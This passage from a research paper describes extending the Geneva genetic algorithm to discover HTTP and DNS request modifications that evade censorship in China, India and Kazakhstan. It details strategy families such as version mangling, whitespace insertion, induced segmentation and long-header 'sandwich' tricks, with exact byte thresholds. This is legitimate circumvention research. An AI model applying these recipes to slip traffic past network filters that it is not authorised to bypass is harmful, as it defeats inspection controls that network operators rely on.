costly and cause significant collateral damage [13].

One distinguishing factor between nation-state censorship
and other middlebox deployments is the use of residual censor-
ship, a punitive form of censorship used by some nation-states
(such as China). With residual censorship, for a short period
of time after a user makes a forbidden request, follow-up
requests—even innocuous ones—will continue to be cen-
sored [11]. As we will see in §3, residual censorship can
complicate censorship evasion.

Automatically Circumventing Censors Researchers have
developed a myriad of techniques to evade censorship, such
as tunneling traffic [33, 34, 42, 57, 62, 68], masking the true
destination of traffic [23, 24, 35, 41, 65, 66], disguising traffic
as another protocol [51, 58, 61], interfering with a censor’s
ability to track or parse traffic [44, 47, 59, 67], or avoiding the
censoring country altogether [46, 48].

A recent area of work has explored mechanisms to automat-
ically discover ways to evade censorship [14, 52, 60]. These
approaches identify ways to modify the packet stream in such
a way that the connection and request remain valid, but the
censor is unable to correctly tear down the connection. Such
automated approaches enable researchers to respond more
quickly to new censorship events [12, 13, 15] or to scale the
number of middleboxes under study [10]. For this work, due
to the number of DNS resolvers, HTTP servers, and censor-
ing countries, we use an automated approach for discovering
application layer strategies.

We are familiar with three existing approaches to automat-
ing censorship evasion: Geneva [14], SYMTCP [60], and
Alembic [52]. Although each of these systems takes a different
approach, the high level goal is the same: to find a sequence
of packets that cause the censor to be unable to tear-down a
connection (while preserving the connection itself). Geneva
uses a genetic algorithm, and treats censors and destinations
as black boxes, not unlike a fuzz tester. Alembic and SYMTCP
require access to the source code to perform symbolic exe-
cution of the server’s implementations of TCP/IP. Requiring
source code is reasonable when focusing on TCP/IP-based
evasion strategies, as low-level network protocol implementa-
tions are unlikely to change frequently or vary significantly
amongst different servers. However, application-layer code
can change often and vary widely across servers. Thus, for
this work, we chose to extend Geneva’s black-box approach;
we detail our design in §3.

Application Fuzzing Fuzz testers [45] mutate inputs non-
deterministically in an effort to evaluate the correctness, se-
curity, and coverage of programs. Most relevant to our work
is the space of grammar-based fuzzers, which define a gram-
mar for inputs to the target protocol, and differential-based
fuzzers, which send fuzzed inputs to multiple systems to iden-
tify any differences in behaviors. Grammar-based fuzzers
(including those based on genetic algorithms) have been used
successfully against many targets [5], including web appli-
cations [55] and other popular protocols [39]. The Peach
Fuzzer is a grammar-based protocol fuzzer that allows a user
to specify an input grammar, but only its Community Edition
is available since Gitlab purchased it in 2020 [38]. WFuzz is
another powerful fuzzer for HTTP web servers, but it has no
support for other protocols or extending its grammar [49].

Our work differs from these fuzzers in two important ways.
First, our work has a different goal from traditional fuzzers:
instead of searching for modified inputs that elicit incorrect
behavior from the application, our work must find a modified
input that elicits correct behavior from the application but
incorrect behavior from the eavesdropping censor. Second,
our goal is not just to find any output that evades a censor,
but rather to identify a modification that can be made to an
existing user query to enable the user to bypass the censor.
Whereas fuzz testers traditionally generate inputs, our ap-
proach generates what amounts to small pieces of code (built
from Geneva’s manipulation primitives) that are in turn ap-
plied to inputs (user traffic). Therefore, we search over the
space of packet-manipulation actions, not over the input space
(packets) itself.

Most similar to this work is a concurrent work T-REQS [43],
a grammar-based differential HTTP fuzzer used for discover-
ing HTTP Request Smuggling attacks. HTTP Request Smug-
gling is the process of modifying an HTTP request such that
a firewall or proxy fails to identify a second, hidden request.
Although HTTP Request Smuggling is similar in spirit to
censorship evasion, the goals are slightly different: with cen-
sorship evasion, our goal is not to sneak a second request
past a censor, but to get the original request through. T-REQS
created a detailed context-free grammar for the HTTP specifi-
cation, and randomly mutated inputs to discover differences
in how popular HTTP proxies and servers handle content.
With modification, T-REQS (or other grammar-based fuzzers)
could likely also be applied to censorship evasion.

3 Fuzzer Design

In this section, we detail the design and implementation of our
fuzzer to automatically discover censorship circumvention
strategies for HTTP requests and DNS queries.

Prior approaches to automating censorship evasion tech-
niques have taken a fuzzing approach (Geneva [14]) or a sym-
bolic execution approach (SYMTCP [60] and Alembic [52])
to identify successful modifications to network packets. Our
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GET␣<PATH>␣HTTP/1.1\r\n

Host:␣example.com\r\n\r\n

Param Value AnchorParam Value
/path?foo=bar&foo2=bar2#anchor

Method Path Components HTTP Version Delimiter

End of HeaderName Value: Domain

Path End Param Delimiter Anchor Delimiter
Path

HTTP
Header

Request
Line

Figure 1: Structure of an HTTP request for example.com.
Note that “ ” denotes where whitespace is required by the
RFC, typically 1 space. Typically, HTTP Requests contain
multiple headers separated by a \r\n.

goal is to work for a wide range of server vendors and versions.
As a result, we will not always have access to the source code
for every application layer server we need to train with (such
as Google’s public DNS resolver). Therefore, we take the
fuzzing approach, and specifically extend Geneva’s genetic
algorithm to the application layer space.

A brief review of Geneva Geneva [14] builds censorship
evasion strategies out of small, individual manipulation prim-
itives (called actions) that can modify a packet. Geneva’s
actions mirror those that can take place on an IP network (du-
plicate, tamper, fragment, drop, and send). Each action takes
parameter values, which Geneva chooses either at random or
from packet captures of previous strategies. Geneva composes
actions into action trees: duplicate and fragment have two
children (the two copies or two halves of the packet), tamper
has one child (the modified packet), and send and drop have
no children. The action tree represents a packet-manipulation
“program,” and is executed via an in-order traversal of the
tree. Each action tree has an associated trigger to describe
which packets it should be applied to. While the individual
manipulation actions are simple, Bock et al. [14] showed that
composing them can be expressive enough to transform any
set of packets into virtually any other set of packets. However,
they focused almost exclusively on TCP/IP headers.

Geneva’s genetic algorithm evaluates each strategy against
a live censor by applying the strategy to a request for a forbid-
den resource. It assigns a numeric fitness value based on its
success, overhead, and complexity in obtaining the forbidden
resource. Geneva’s genetic algorithm uses the fitness values
to decide which strategies should survive to the proceeding
generations and propagate.

Extending Geneva to application-layer requests We ob-
serve that in abstract, manipulating individual packets is tan-
tamount to manipulating smaller components of a broader
request. To translate this approach to the application-layer
space, we identify the constituent units of the broader re-
quests for HTTP and DNS. Though HTTP starts with a few
constant fields (Method, Path, Version), the majority of an
HTTP request is made up of a variable number of smaller

13 37 <> 00 01 00 00 00 00 00 00

0 0000 0 0 0 0 000 0000

Query ID Bit Flags Query Count

Length Effective 2nd
Level Domain

Opcode

Param Delimiter

QR

Answer Count NS Count Add. Records

Length TLD End Type (A) Class

Bit Flags

Response
Code

AA
 
 

Authoritative 
Answer

TC
Truncated

RD
 
 

Recursion
Desired

RA
Recursion 

Avail.

Z
Reserved

Question
Record

07 example 03 com 00 00 01 00 01

DNS
Header

Figure 2: Structure of a DNS request for example.com.
Note that the Bit Flags field (detailed in the lower box) is two
bytes wide. Although DNS requests typically only contain
one Question Record, the RFC [50] allows for multiple DNS
Questions to be included with no separator between them.

HTTP headers. DNS requests, too, are comprised of constant
fields, followed by a variable number of DNS question records.
Therefore, we will allow our manipulations to access the con-
stant fields and chain together modifications that affect the
variable fields (HTTP Headers and DNS Question records, re-
spectively). We note that even beyond the scope of this paper,
other popular application layer protocols follow this pattern;
for example, TLS packets usually have many TLS Messages
and TLS Extensions.

3.1 Grammars
Next, we define a grammar that allows us to parse and modify
these requests.

HTTP Grammar We specifically scope this work to HTTP
Version 1 (HTTP/1.0 and HTTP/1.1). The HTTP protocol
grammar is specified by RFCs 2616, 7230, 7231, 7232, 7233,
7234, 7235, and 3986 [9, 26–32]. An HTTP Request starts
with the HTTP Method (sometimes called a “verb”), which
defines the type of request, followed by a single space. Next, a
request contains the request path, which specifies the resource
location the HTTP request is for, as well as any HTTP pa-
rameters and values for the request. The path generally starts
with a /, and if HTTP parameters are included, a ? denotes
the end of the path and the start of the query parameters. RFC
3986 specifies that in certain circumstances, other characters
may mark the start of the path, but these are restricted to spe-
cific circumstances [9]. Multiple parameters may be specified
within the request line by delimiting them with a &. After the
path, a single space separates the HTTP version, and HTTP
headers comprise the remainder of the request. The end of the
starting line containing the method, path, and version is ended
with a \r\n. Each line within the HTTP header is delimited
with a \r\n, and the end of all the headers is marked with an
empty line followed by a \r\n. This will look like a header
followed by \r\n\r\n, signifying all following data is the
message body. Using this grammar, our system will parse the
given HTTP request to extract the constant fields (Method,
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Path, Version), and variable headers into a list. See Figure 1
for an example HTTP request.

DNS Grammar In this work, we focus specifically on nor-
mal DNS Requests, so extensions or other DNS technologies
(such as DNSSEC or running DNS over other protocols) are
out of scope. The structure of DNS queries are defined by
RFC 1035 [50]. DNS Queries are comprised of a set of
fixed constant fields, followed by a variable number of DNS
Question Records which specify the domains to lookup. By
convention, DNS Queries usually only have 1 DNS Question
(and as we will see in Section 6, many DNS servers will only
respond to queries with 1 DNS Question), but the RFC still
permits multiple Question Records in a request. See Figure 2
for the fields in a DNS Query.

3.2 Manipulations
Now that we can parse HTTP and DNS requests, our goal
will be to design simple manipulation primitives that can be
composed together such that for a given application, a strat-
egy can transform any request into any other request. There-
fore, our actions must be able to add, remove, or manipulate
any constituent components of the request. We will define
duplicate and drop to add or remove components from a
request, but most importantly, we must be able to modify one
of these components. Unfortunately, application-layer data is
significantly less structured than packet headers, and HTTP
headers in particular are primarily composed of raw, unstruc-
tured text. We require a new set of actions that will allow us
to modify unstructured text.

Inserting New Bytes We define a new modification primi-
tive to insert new bytes into a given header or question record:

insert(<VALUE>, <WHERE>, <COMPONENT>, <NUM>)

The action takes four parameters, which control what bytes are
inserted, where within the existing text they should be inserted
(start, middle, end, random), which component should be
affected, if applicable (such as HTTP header name or value),
and the number of times the bytes should be inserted. As the
genetic algorithm runs, these parameters can be mutated and
learned through the process of evolution.

Replacing Bytes We define a second modification primitive
to allow our system to replace existing bytes within a given
header or question record:

replace(<VALUE>, <COMPONENT>, <NUM>)

The action takes three parameters, what bytes should replace
the existing text, which component should be affected, if appli-
cable (such as HTTP header name or value), and the number
of times the bytes should be placed in that location. This ac-
tion also incorporates the ability to delete the component, by
replacing it with a value of an empty string. As the genetic

algorithm runs, these parameters can be mutated and learned
through the process of evolution.

Changing String Case We define this action to take in a
string and change the case of all alphabetical characters in the
header name and value.

changecase(<CASE>)

This action takes one parameter, which is what case all letters
should be changed to. It can change all characters to lower or
upper case, or randomly assign each letter to be upper or lower
case, irrespective of its current case. Nothing will happen to
non-alphabetical characters.

3.3 Evaluating Evasion Strategies
In this work, we do not modify Geneva’s underlying genetic
algorithm, but we do modify how it evaluates each candidate
strategy. We evaluate strategies directly against real-world
censors by using them to modify a request for forbidden
resources, sending the resulting request across a censor to a
destination server, and checking that the request did not trigger
censorship and successfully obtained the forbidden content.
Each time we train the genetic algorithm, we initialize it with
a clean slate with no access to prior results or knowledge of
the censorship system. Our system executes each training run
for a pre-specified number of generations or until population
convergence occurs. After our modified Geneva automatically
discovers new evasion strategies, we follow up with manual
post-hoc analysis to understand why and in what conditions
the strategies work.

We note that our system is tolerant to transient network
failures. Some transient failures are self-correcting: for ex-
ample, during training a transient failure of the censorship
system itself could cause a strategy to be mistaken as success-
ful. In subsequent generations however, the strategy would
(correctly) fail, receive a negative fitness, and not propagate to
future generations, and this is handled under the hood within
Geneva’s existing genetic algorithm [14].

HTTP Evaluation To evaluate HTTP strategies, our system
makes a request that either contains a forbidden Host header,
or a forbidden keyword in the request string. To train for
HTTP strategies, we run our system from vantage points we
control within a censored country and make a request to a
server we control outside the censored country. This allows
us to control the server type and version.

Our design must account for the effects of residual censor-
ship. In China, for 90 seconds after the censor tears down a
forbidden request, any follow-up request to the same three-
tuple (server IP, server port, and client IP) will result in censor-
ship, even if that request is benign. Fortunately, China’s HTTP
censorship is active on every destination port. Therefore, we
use a different destination port within a large range of ports
for every strategy, and forward all of these ports to a single
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port the server runs on. With this design, we are able to train
quickly without suffering the effects of residual censorship.

DNS Evaluation To evaluate DNS strategies, our system
applies each strategy to a DNS request that contains a DNS
Question Record for a forbidden domain.

Recall that the Great Firewall of China runs three separate
DNS censorship systems, and any subset of them can respond
to a forbidden query. The GFW does not drop the offending
query packet, so in addition to the DNS injectors, the intended
destination of the request will also receive it and respond. As a
consequence, if a client within China makes a forbidden DNS
query to a reachable DNS server outside of China, the client
could get anywhere from 0 to 4 DNS responses (up to three
from the injectors, optionally followed by the real uncensored
response). Since any strategy could affect the response or any
of the censors or the destination server itself, it is difficult to
identify whether a given DNS response constitutes censorship
without issuing a follow-up query to the IP address in the
response, which is slow.

To avoid this problem, we run training for DNS outside of
China. To evaluate a strategy, our system applies the strategy
to a query for a forbidden domain (such as google.sm). First,
the resulting modified query is sent to an uncensored DNS
server, such as an open resolver, like Google’s 8.8.8.8. If
the strategy successfully gets a response from the DNS server,
we know the query is valid, and the strategy receives a higher
fitness value. Next, we send the same modified query into
China to a machine under our control that is not running
any DNS server at all. In this case, if the query gets any DNS
responses, we know these responses originated from the Great
Firewall (and punishes the strategy’s fitness value).

Importantly, as with HTTP (and applications from prior
work), we give a lower fitness value to a strategy that breaks
the underlying request than if the resulting request was still
valid but experienced censorship. This encourages the genetic
algorithm to explore the space of strategies that preserve the
validity of the original request, but can impact the censor.

3.4 Evasion Proxy for Ease of Use

To make our strategies useful for real users, we developed a
standalone “proxy” application, which applies a given strat-
egy to live traffic. This proxy application accepts the original
strategy syntax, so any of the strategies presented herein can
be copied and used, with no further set up. We tested this
proxy by browsing with it through our vantage point in In-
dia to multiple forbidden websites, and validate that these
strategies can be used on real user traffic. We make this proxy
available with our publicly released code.

DNS Resolver Org. Resolver Address
Cloudflare 1.1.1.1
Google 8.8.8.8
Quad9 9.9.9.9
OpenDNS 208.67.222.222
CleanBrowsing 185.228.168.168
ComodoSecure 8.26.56.26
DNS.Watch 84.200.69.80
Verisign 64.6.64.6

Table 1: DNS Open Resolvers we conduct experiments with.
All of these open resolvers are accessible from within China.

4 Experiment Methodology

In this section, we describe our experiment methodology for
training our system. As we will see, many application-layer
strategies only work with specific destination servers; there-
fore, we need to repeatedly train to different popular servers
for DNS and HTTP.

HTTP Servers On September 3rd 2020, we downloaded a
list of the most popular HTTP servers currently in use from
W3Techs [2] and BuiltWith [3]. According to both resources,
Apache1 was the most popular (with 36.5% and 35% esti-
mated market share from each respective resource) and Ngn-
inx2 was the second most popular (with 32.5% and 34% share
respectively). W3Techs identified Cloudflare’s hosting as the
third most popular (15.7%), and both identified Microsoft IIS
as the next most popular (7.9% and 13% respectively). For
this work, we choose to focus on the servers with the maximal
market share: Apache and Nginx. Deployments of Apache
and Nginx span many versions; we selected the four most
popular versions for each, according to W3Techs [2], specifi-
cally 2.4.6, 2.4.18, 2.4.29, and 2.4.43 for Apache and 1.13.4,
1.14.1, 1.16.1, and 1.19.0 for Nginx.

DNS Resolvers Most DNS traffic is handled by large re-
solvers; in 2019, DNS Observatory studied over 1 trillion
DNS transactions and found that over 60% of them were
handled by just 1,000 nameservers and flowed to authorita-
tive servers run by less than 10 organizations [36]. For this
reason, we choose to train directly with the most popular
open resolvers. We tested if these resolvers are affected by
IP-blocking censorship by making innocuous DNS lookups
from our vantage point within China, and found that none are
affected and all are reachable. See Table 1 for a full list of the
resolvers against which we test.

Vantage Points We obtained vantage points in China (Bei-
jing), India (Bangalore), and Kazakhstan (Almaty) to use in
our experiments. We also set up servers we controlled in un-

1https://www.apache.org
2https://www.nginx.com
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censored countries in Europe (Ireland), Japan (Tokyo), and
the United States (at our university) to conduct experiments.

To train our system in these countries, our system triggers
censorship depending on the country and type of censorship.
For HTTP, in India and Kazakhstan, we sent an HTTP request
with a forbidden domain in the Host header (youporn.com).
Recall that China censors HTTP both by censoring keywords
in the HTTP parameter list and by examining the Host header,
so we train in China against both types of censorship (specif-
ically, using the forbidden word ultrasurf as an HTTP
parameter and youporn.com in the Host header). For DNS,
we send a DNS query containing a question for a domain
forbidden by China between two hosts we control across the
censor. Recall that the landscape of DNS censorship is more
complex in China than with HTTP, with three parallel DNS
censorship injectors. We specifically choose to train with
only those domains that are affected by all three censorship
systems, such as google.sm.

Like all censorship research, our results are limited by the
censorship we can access and test with; still, we believe that
testing against three different censors for HTTP and DNS is
sufficient breadth to demonstrate the generalizability of this
technique.

HTTP Experiment Methodology We ran our experiments
over the span of seventeen months, starting in December 2020.
We evaluated against a diverse set of censorship types: India,
Kazakhstan, China-Host, and China-keyword. For all four
types of censors, and for all eight types/versions of HTTP
servers, we conducted 5 training runs (160 in total). Each
training run executed with a population pool of 500 individu-
als for 50 generations.

For each HTTP server, for training runs with Host
header based censorship, we configure the server with a
VirtualHost to require the Host header; this prevents a strat-
egy from “succeeding” by simply removing, or mangling the
forbidden value from the request. For keyword-based censor-
ship training, the fitness function requires that the forbidden
keyword is present in the outbound request. Note also that
we limited our system to only actions at the application layer
space, so TCP segmentation is not permitted, and the fitness
function cannot make additional requests.

To avoid residual censorship in China, we ensured that no
two strategies used the same destination port within a 90-
second window. In particular, we allocated 15,000 contiguous
ports, assigned each port to one strategy, and used iptables

on the server to redirect all of these ports to a single port
that hosted the server. Since residual censorship lasts for 90
seconds, we evaluated fewer than 167 strategies per second
(15,000/90) so as not to exhaust our ports.

We evaluate each strategy serially, with no sleep in between.
On average, the fitness function for HTTP evaluates 1-2 strate-
gies per second and each HTTP request is initially 40 bytes.
For example, an initial HTTP request (before it is modified
by a strategy) in India is:

GET / HTTP/1.1\r\n

Host: youporn.com\r\n\r\n

We also tested if this technique is applicable to servers outside
our control by training to 12 censored domains over HTTP
(6 in KZ, 6 in IN); we show the successful results of these
experiments in §5.3.

DNS Experiment Methodology For DNS, we chose to
train against all three of China’s DNS Injectors simultane-
ously, so the resulting strategies could be applied to any for-
bidden domains. We can do this by using a domain that ap-
pears on all three injectors’ block-lists. We reached out to
Anonymous et al.—who originally discovered that the GFW’s
DNS infrastructure was powered by three injectors—and the
authors provided a list of domains that appeared on each injec-
tors’ block-lists [8]. By choosing which domain name we used
to trigger censorship, we can tailor our training to specific
DNS injectors. For this work, we chose to use google.sm,
which appears on the block-lists for all three injectors.

For each of the 8 DNS resolvers we train with, we conduct
5 training runs. We use the same hyperparameters for training
as with HTTP: each training run is executed with a population
pool of 500 individuals over 50 generations.

Since DNS runs on UDP, the fitness function can evalu-
ate the strategies much more quickly—about 20 strategies
per second—and each request is initially 27 bytes. The total
network load for DNS training to an open resolver is approxi-
mately 11kbps, and lasts than less approximately 20 minutes
per training run; these network loads should be negligible for
resolvers of this size. Fortunately, residual censorship is not a
concern for DNS in China, allowing us to train more quickly.

Post-Hoc Analysis After each training run for DNS and
HTTP, we perform manual analysis to investigate the strate-
gies our system discovers and perform manual experiments
to understand why each strategy works. We also follow prece-
dent from prior Geneva work: after each training run, we dis-
able any fields or actions that dominated the search space to
encourage strategy diversity. For example, if the first training
run discovers that any changes to a specific field always evade
censorship and those strategies quickly dominate, we remove
that field from the proceeding training runs to encourage the
algorithm to discover new strategies.

Strategy Success Rates After we completed all the training
runs, we re-tested every discovered strategy against every
other server version in each country. We tested every DNS
strategy 1,000 times and HTTP strategy 100 times. We did not
observe any differences in the success rates of our strategies
from when they were initially collected to this success rate
testing.

Manual Verification To confirm that the strategies we dis-
covered work the way we expect, we performed several addi-
tional manual verification steps. First, we manually ran every
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strategy presented in this paper against every server type and
confirmed we receive the correct server response page. For a
more rigorous check for a subset of our servers, we also com-
pared server responses to unmodified requests and requests
modified by our strategies and confirmed they were byte-wise
identical. Finally, as mentioned in §3.4, we manually tested a
sample of strategies in India with a real web browser using
our proxy server and validated that we could browse blocked
websites successfully. We emphasize that these manual steps
were done strictly for verification and understanding; our mod-
ified Geneva discovered the strategies in a fully automated
fashion.

5 HTTP Results

In this section, we will detail our results from training our
system against various forms of HTTP censorship around
the world. Specifically, we train against Host- and Keyword-
based censorship in China, and Host-based censorship in India
and Kazakhstan. For a strategy to succeed, it must modify
a request sufficiently to evade censorship, while still being
accepted by the destination server.

5.1 Summary Results

We only report on strategies for which at least one HTTP
server we tested correctly responded. For each successful
strategy, there are often many ways to craft successful variants
of that strategy that functionally do the same thing. Thus, to
give a more conservative count of the number of strategies we
discover, we only report on strategies that work for a unique
reason.

In total, we identify 77 unique HTTP strategies. We manu-
ally performed experiments to understand how they work and
determine their success rate against each country and HTTP
server. The strategies’ success around the world varies, but
we were able to find multiple strategies against every censor
we trained against. We found the most successful strategies
against Airtel’s censorship in India: of the 77 strategies we
discovered, an 56 of them bypassed the Indian censor. A to-
tal of 29 strategies bypass the Kazakhstani censor. In China,
we found a total of 22 evasion strategies that evaded path-
based censorship, and 27 strategies that evaded the host-based
censorship.

As we will see, the number of strategies we discover against
each censor does not necessarily imply that the censor is
non-compliant with the RFCs. On the contrary, our results
suggest that the more RFC-compliant a censor is, the more
opportunities there are for evasion.

Due to space constraints, we cannot discuss every strategy
we discovered. Instead, in this section, we will describe each
strategy family and give examples of where and why they
work. We list all 77 unique HTTP strategies in Tables 2 and 4.

5.2 Evasion Strategies
Version Mangling The first strategy we discuss is surpris-
ingly simple: corrupting the HTTP version. The resulting
request would seem to be in violation of the RFC, as RFC
7230 (Section 2.6), specifies that servers should respond with
an error page if they receive an unknown version. However,
the RFC also admits that a server may respond anyway "if it is
known or suspected that the client incorrectly implements the
HTTP specification and is incapable of correctly processing
later response versions". We find that several server versions
(Apache 2.4.6 and 2.4.18) choose to be maximally permissive
and ignore malformed versions, responding normally. We also
find that the tested versions of Nginx will respond normally
if the version is corrupted by inserting a % character (%25).

This strategy evades censorship for both types of HTTP
censorship in China, which is surprising: the HTTP version
appears after the path that contains the forbidden keyword.
This suggests that the censor validates the HTTP Version or
will only perform DPI on the packet if the Version has an
expected value. Version mangling also defeats censorship in
India.

Kazakhstan, on the other hand, will censor a request with a
corrupted version unless enough bytes are inserted into the
field to lengthen it to 1,434 bytes long. At this point, the
censor ignores the request, and we can evade successfully. We
do not believe the Kazakhstani censor is doing any validation
of the version; instead, we believe it is more likely that the
censor has a limit to the number of bytes it will buffer before
processing it.

Four Element Request Line The HTTP RFCs specify that
the request line should be split on whitespace between the
three request line parameters. We discovered a class of strat-
egy that inserts a space into the middle of a field within the
path or the version, in such a way that the important aspects
of the path and HTTP parameters can still be understood. We
believe this strategy works for the same reason that HTTP ver-
sion mangling does. When a censor’s DPI splits the request
line, the third component is no longer a well-formed HTTP
version. These strategies are also in violation of the RFC, but
are still understood by versions of Apache.

The reason these strategies work is the initial path is being
interpreted as the real path, HTTP server logs confirmed this,
whereas the whitespace is creating a new request line element
that might be interpreted as the version. We found these strate-
gies worked in China and India, but not in Kazakhstan, which
is consistent with our results from HTTP Version mangling.

Changing Case In HTTP requests, there are some com-
ponents that the RFCs specify should be case-sensitive, in-
cluding the method (RFC7230 Section-3.1.1) and version
(RFC7230 Section-2.6), while others that should be case-
insensitive, like header names (RFC7230 Section-3.2). We
discovered strategies that change the case of the method, ver-
sion, or of the Host header name itself (such as to host). All
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GET / HTTP/1.1\r\n

Host: youporn.com\r\n\r\n
Extra Space Injected

Forbidden Header Unmodified

🇨🇳

(a) Request Line Whitespace: Inserting an
extra space between the Method and Path
evades Host-based censorship in China. The
censor assumes that there will only be one
whitespace character in that location, but
the RFC [31] permits more.

GET ///.../// HTTP/1.1\r\n

Host: youporn.com\r\n\r\n
1,409 '/' Injected

Forbidden Header Unmodified

🇮🇳

(b) Induced Segmentation: Evades Airtel’s
censorship in India by forcing the request to
be segmented across two TCP packets. The
entire request, with headers, is larger than
the Ethernet MTU, but India’s censorship
does not properly handle segmentation.

GET /?ultrasurf HTTP/1.1\r\n

AAA...:AAAAAAAA...AAA\r\n

Host: youporn.com\r\n
Forbidden Header Unmodified

B:BBB...\r\n\r\n

Request Line Unmodified

64-byte Name 1,207 Values

129-byte Header

🇨🇳

(c) Sandwich Strategy: Evades keyword-
and Host header-based censorship in China.
This breaks the parsing in such a way that
the censor cannot process the host header,
which is needed for path reconstruction.

Figure 3: Examples of three HTTP strategies we discover. Each of these strategies defeats censorship for a different censor or
mechanism (Header-based in China, in India, and Keyword-based in China).

of these work in India, but do not work in China or Kaza-
khstan. These strategies tell us that the Airtel censor is too
strict in how it processes HTTP requests.

Request Line Whitespace RFC 7230 specifies that a single
space should delimit between the Method, Path, and Version
fields, but that servers should ignore extraneous whitespace be-
fore the method and after the version, and treat any contiguous
blocks of whitespace as a single space [31, Section 3.5]. The
RFC classifies “whitespace” as space (URL-encoded: %20),
horizontal tab (%09), vertical tab (%0B), form feed (%0C), or
bare carriage return (%0D). It also states that servers should
treat newlines (%0A) as a \r\n, or the intended line delimiter.

These rules permit a wide variety of ways to modify a re-
quest line without altering syntax, and we found a total of 33
unique strategies that take advantage of inserting some form
of whitespace within the request line. Some of these strategies
are simple: in China, we can insert a single additional space
after the HTTP Method and evade Host-based censorship
(though this does not work for keyword-based censorship).
We present an example in Figure 3(a) . Other strategies in this
family are more complicated: in Kazakhstan, if a strategy in-
serts 1,434 whitespace characters after any item in the request
line, it will evade the censor. We find that the strategy can
get away with inserting only one whitespace character if it
inserts it before the method. The Indian censor we tested was
the most brittle with respect to whitespace. We discover other
strategies in this class that work by inserting certain patterns
of additional whitespace between the HTTP version and the
\r\n. For example, appending a \n\t to the Version is not
sufficient to evade the Indian censor, but \n\t\n\t, (or any
number of spaces), will evade.

Although not all of our servers under test correctly re-
sponded to all of these strategies, most of them did, and
whitespace-inserting strategies remain the strategy class that
is most broadly successful across server and censor types.

Host Header Whitespace Similar to inserting whitespace
around the request line, we also discovered 21 strategies that
involve inserting certain amounts of specific whitespace char-

acters around the Host header. RFC 7230 defines the correct
format for headers as:

<NAME>:<OPT WSPACE><VALUE><OPT WSPACE>

where <OPT WSPACE> is optional whitespace, consisting only
of spaces and horizontal tabs (RFC 7230, section 3.2) [31].
Strategies in this class insert additional whitespace into the
optional whitespace locations or even around the header name
itself.

In China, inserting whitespace before the header name
(which is not RFC compliant), successfully evades Host-based
censorship, but not path-based censorship. This suggests the
GFW fails to parse headers that begin with whitespace, but it
can still parse and identify forbidden keywords in the path. In
India, we find that if a strategy inserts a whitespace character
before or after the Host header name, or a single newline char-
acter around the Host header value, it will evade the censor.

In Kazakhstan, we found similar rules for which strategies
work and why. We find that inserting one space after the
header value or anywhere around the name evades. Using tabs
or newlines instead of spaces works only slightly changes the
requirements: inserting one tab anywhere around the header
name or value or a newline anywhere except the end of the
header, evades censorship.

Induced Segmentation One simple-seeming strategy we
discovered in India works by simply inserting more data any-
where in the request to make it at least 1,449 bytes long. We
present an example in Figure 3(b) . What is special about
this number of bytes? With an HTTP request at least 1,449
bytes long, the added bytes for IP (20 bytes), and TCP headers
(32 bytes, including the timestamp option) total 52, bringing
the request size up to 1501 bytes. Since this is exactly one
byte past the Ethernet MTU (1500 bytes) [40], we conclude
that this strategy works by inducing segmentation. Prior work
has found that the Indian censor can be evaded by simple
segmentation, which supports this hypothesis [13].

We observe a similar strategy in Kazakhstan, but slightly
more complexity is required. Instead of inducing segmenta-
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tion anywhere in the request, our system discovered that if a
strategy induces segmentation specifically at the byte index
between the Host header name and value, it will evade censor-
ship. It accomplishes this by inserting enough bytes such that
the 1,449th byte is the last byte before the host header value,
and the final two bytes before the host header value must both
be spaces. We do not understand why two spaces are required
for this strategy to work. These strategies are perfectly RFC-
compliant, and every server we tested responded correctly. We
found no evidence that this type of strategy has any effect on
China’s censors, however many of these strategies still evade
in China due to other unrelated reasons, such as whitespace
insertion or long header names.

Path Confusion Another family of strategies we discovered
involves adding characters, parameters, or anchors to the path
that are ignored by the server, but processed by the censor.
For example, the strategy that inserts a single ? before the
start of the path evades in India and China (for both header
and keyword censorship). Technically, ? is only allowed to
start a path if the path is empty, but we find that every Apache
version we tested still correctly processed the path and the
request. Another strategy in this family works by inserting
a new very long HTTP parameter (at least 1,003 bytes long)
before the forbidden keyword; this only works in China.

Host Header Shield The next strategy we discuss evades
China’s keyword and host-based censorship. Recall that in-
serting a single space after the HTTP Method is sufficient to
evade China’s Host-based censorship, but does not evade its
keyword censorship. Our system found that by also inserting
a new header before the host header with a header name that
is at least 64 bytes long, it could evade both keyword and Host
censorship simultaneously. This only works if whitespace is
inserted before the HTTP Method or between the Method and
Path, not anywhere else in the request line.

Why does this strategy work? It seems strange that adding
a space before the path is required to evade Host-based cen-
sorship, and adding a long header before the Host header is
required to evade keyword-based censorship (although we
note this is sufficient on its own to evade header censorship).
Our results suggest that a 64+ byte header name prevents
the GFW from reading any further headers, which explains
why the longer header is enough to defeat header censorship.
We believe that the added space in the request line forces
the GFW to look for the Host header before it processes the
path. If the strategy does not include the modified header,
or includes it after the Host header, the GFW inspects the
path correctly, but if we interfere with this search for the Host
header, the GFW fails to check the contents of the path.

Sandwich Strategy The last type of strategy we will analyze
creates a sandwich of headers around the Host header, and
we find that if these headers are crafted in the correct way,
we can bypass keyword and header censorship in China and
India. We present an example in Figure 3(c) .

In China, we find the following constraints:

• The first header that appears in the packet must have at
least 64 characters in the header name.

• Enough data must be transferred in the headers such that
some header’s value starts at least 1280 bytes away from
the start of the headers (first character of header value is
at least the 1281st byte after the request line)

• The last header must be at least 129 bytes total (including
ending \r\n and the separator ":")

• The Host header cannot be the first or last header.

This type of strategy works in both header- and path-based
censorship, though we note it is technically overkill to defeat
header-based, as a single long (64+ byte) header is enough.
We also found that many sandwich strategies work in India,
but only because the header size induces segmentation.

5.3 External Validation
To demonstrate that this approach works without control of the
destination server, we trained our system against 12 censored
domains (6 in Kazakhstan and 6 in India). We downloaded Cit-
izenLab’s censorship test lists for India and Kazakhstan [18],
and tested all the domains to identify which were censored,
and then chose 6 randomly for each country. We do not know
the type or version of these servers.

Our system successfully identified evasion strategies for
every domain we tested. Across these twelve experiments, we
discovered 13 unique strategies, 7 of which do not work on
any of the other HTTP servers we tested. These experiments
demonstrate the generalizability of this technique to new ap-
plication servers, and underscore the importance of having an
automated solution in this space.

Method Mangling Here, we showcase a surprising class of
strategies we discovered during this validation phase. This
strategy works by simply corrupting the HTTP method and
replacing it with another string. Note that this is absolutely
not RFC-compliant; RFC 7231 (Section 4) specifically men-
tions that any non-conforming method should be denied [32].
However, we find that some HTTP servers, when confronted
with an HTTP method they do not recognize, choose to de-
fault to an HTTP GET request and respond as normal. We
found this behavior only on a subset of HTTP servers that
hosted censored domains outside our control, and we identi-
fied that nginx 1.10.3 responds to this query. The Apache and
Nginx server versions we controlled did not respond to these
